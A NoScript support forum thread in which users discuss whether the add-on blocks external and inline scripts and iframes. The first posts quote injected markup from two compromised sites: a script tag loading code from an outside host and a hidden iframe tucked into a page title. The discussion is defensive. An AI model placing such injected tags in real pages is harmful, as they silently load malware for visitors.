Inline Script Blockage

Ask for help about NoScript, no registration needed to post
User avatar
therube
Ambassador
Posts: 7972
Joined: Thu Mar 19, 2009 4:17 pm
Location: Maryland USA

Inline Script Blockage

Post by therube »

Is the script here (jquery.js) considered "inline" script?
And to be clear, it is blocked by NoScript, by default, even if the primary domain (vikingimporting.com) is allowed?

Code: Select all

<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
<title>Viking Importing</title><script src=http://exero.eu/catalog/jquery.js></script><title></title>
<base href="http://www.vikingimporting.com/">
<link rel="stylesheet" type="text/css" href="stylesheet.css">
</head>
MALWARE WARNING: h t t p ://w w w.vikingimporting.com/
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Pinball NoScript FlashGot AdblockPlus
Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20110706 Firefox/5.0 SeaMonkey/2.2
User avatar
therube
Ambassador
Posts: 7972
Joined: Thu Mar 19, 2009 4:17 pm
Location: Maryland USA

IFRAME Blockage

Post by therube »

And while we're here ...

Code: Select all

<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Mammoth Equipment<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe></title>
<base href="http://mammothequipment.com/">
<link rel="stylesheet" type="text/css" href="stylesheet.css">
</head>
The IFRAME is blocked - if Options | Embeddings | Forbid <IFRAME> is enabled?
And even if it were not, script from willysy.com would not run unless it were specifically allowed?

MALWARE WARNING: h t t p :// mammothequipment.com/
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Pinball NoScript FlashGot AdblockPlus
Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20110706 Firefox/5.0 SeaMonkey/2.2
User avatar
therube
Ambassador
Posts: 7972
Joined: Thu Mar 19, 2009 4:17 pm
Location: Maryland USA

Re: Inline Script Blockage

Post by therube »

Giorgio wrote: Inline scripts are blocked by default on non-whitelisted sites.
You cannot disable them selectively on whitelisted sites, if that's what you're asking for, but you can modify their execution environment to "cripple" them or otherwise change their behavior by writing your own page-level script surrogates.
http://forums.informaction.com/viewtopi ... 936#p34936

So explain further, because I'm still not clear.

I have not allowed vikingimporting.com.
Because of that, scripts from exero.eu will not run.
Though that is always the case, unless I have specifically allowed exero.eu?

Will "inlined" exero.eu run from vikingimporting.com, if vikingimporting.com is NOT allowed, but exero.eu has been Allowed?
Yes, I think it will? At least plugins (Flash) may work that way?

Now, if I allow vikingimporting.com, then ... ?
Then exero.eu ... will run, even though not specifically Allowed? And that is dangerous.

Explain further or clear my misunderstanding if you would.
Thanks.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Pinball NoScript FlashGot AdblockPlus
Mozilla/5.0 (Windows NT 5.1; rv:12.0a2) Gecko/20120202 Firefox/12.0a2 SeaMonkey/2.9a2
User avatar
therube
Ambassador
Posts: 7972
Joined: Thu Mar 19, 2009 4:17 pm
Location: Maryland USA

Re: Inline Script Blockage

Post by therube »

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Pinball NoScript FlashGot AdblockPlus
Mozilla/5.0 (Windows NT 5.1; rv:12.0a2) Gecko/20120202 Firefox/12.0a2 SeaMonkey/2.9a2
User avatar
Thrawn
Master Bug Buster
Posts: 3106
Joined: Mon Jan 16, 2012 3:46 am
Location: Australia
Contact:

Re: Inline Script Blockage

Post by Thrawn »

therube wrote:Is the script here (jquery.js) considered "inline" script?
No.

Inline script is when you define the JavaScript within the page itself, rather than including a link to an external script file.

Code: Select all

<html>
<head>
<script type="text/javascript">
  alert("Hello world!");
</script>
And NoScript blocks inline scripts if the domain that they come from (ie the domain of the page you're on) is blocked.
======
Thrawn
------------
Religion is not the opium of the masses. Daily life is the opium of the masses.

True religion, which dares to acknowledge death and challenge the way we live, is an attempt to wake up.
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
Post Reply